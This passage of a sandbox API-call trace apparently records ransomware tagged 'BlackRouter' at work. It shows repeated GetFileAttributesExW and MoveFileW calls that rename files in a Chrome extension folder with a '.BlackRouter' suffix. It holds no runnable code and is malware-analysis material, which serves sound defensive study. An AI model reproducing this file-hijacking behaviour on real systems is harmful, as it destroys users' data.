Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js.blackrouter")) returned 1 [0054.491] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0xc878 [0054.512] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83696f30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83699640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc7024b10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xc880)) returned 1 [0054.513] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js.blackrouter")) returned 1 [0054.515] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x2b20 [0054.523] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836a5990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836a5990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc7024b10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2b30)) returned 1 [0054.523] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js.blackrouter")) returned 1 [0054.525] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x7c33 [0054.534] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836b6b00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836b9210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc704ac70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x7c40)) returned 1 [0054.534] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js.blackrouter")) returned 1 [0054.535] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x2adeb [0054.548] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836c2e50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836c5560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc7070dd0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2adf0)) returned 1 [0054.549] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js.blackrouter")) returned 1 [0054.550] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x794cf [0054.600] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836ca380, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836cf1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc70e31f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x794d0)) returned 1 [0054.600] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js.blackrouter")) returned 1 [0054.601] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x941 [0054.625] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836d3fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836d66d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc712f4b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x950)) returned 1 [0054.625] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js.blackrouter")) returned 1 [0054.662] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae198 | out: lpFileSizeHigh=0x1ae198*=0x0) returned 0x3b [0054.665] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html"), fInfoLevelId=0x0, lpFileInformation=0x1ae1e0 | out: lpFileInformation=0x1ae1e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83679a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83679a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc717b770, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x40)) returned 1 [0054.665] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.blackrouter")) returned 1 [0054.666] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae198 | out: lpFileSizeHigh=0x1ae198*=0x0) returned 0x828 [0054.704] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html"), fInfoLevelId=0x0, lpFileInformation=0x1ae1e0 | out: lpFileInformation=0x1ae1e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8367c180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8367c180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc71edb90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x830)) returned 1 [0054.704] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.blackrouter")) returned 1 [0054.706] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae198 | out: lpFileSizeHigh=0x1ae198*=0x0) returned 0x3b [0054.710] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html"), fInfoLevelId=0x0, lpFileInformation=0x1ae1e0 | out: lpFileInformation=0x1ae1e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83685dc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83685dc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc71edb90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x40)) returned 1 [0054.710] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.blackrouter")) returned 1 [0054.711] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae198 | out: lpFileSizeHigh=0x1ae198*=0x0) returned 0x3b [0054.714] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html"), fInfoLevelId=0x0, lpFileInformation=0x1ae1e0 | out: lpFileInformation=0x1ae1e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836884d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8368abe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc71edb90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x40)) returned 1 [0054.714] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.blackrouter")) returned 1 [0054.727] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae198 | out: lpFileSizeHigh=0x1ae198*=0x0) returned 0x221da [0054.788] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae1e0 | out: lpFileInformation=0x1ae1e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8366b010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8366d720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc72ac270, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x221e0)) returned 1 [0054.788] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js.blackrouter")) returned 1 [0054.789] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae198 | out: lpFileSizeHigh=0x1ae198*=0x0) returned 0xf2 [0054.792] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae1e0 | out: lpFileInformation=0x1ae1e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8366fe30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8366fe30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc72ac270, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x100)) returned 1 [0054.792] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js.blackrouter")) returned 1 [0054.796] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae198 | out: lpFileSizeHigh=0x1ae198*=0x0) returned 0x1bef [0054.828] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae1e0 | out: lpFileInformation=0x1ae1e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83674c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83674c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc731e690, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1bf0)) returned 1 [0054.828] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.blackrouter")) returned 1 [0054.837] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae198 | out: lpFileSizeHigh=0x1ae198*=0x0) returned 0x174c [0054.873] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html"), fInfoLevelId=0x0, lpFileInformation=0x1ae1e0 | out: lpFileInformation=0x1ae1e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8368fa00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8368fa00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc7390ab0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1750)) returned 1 [0054.873] MoveFileW 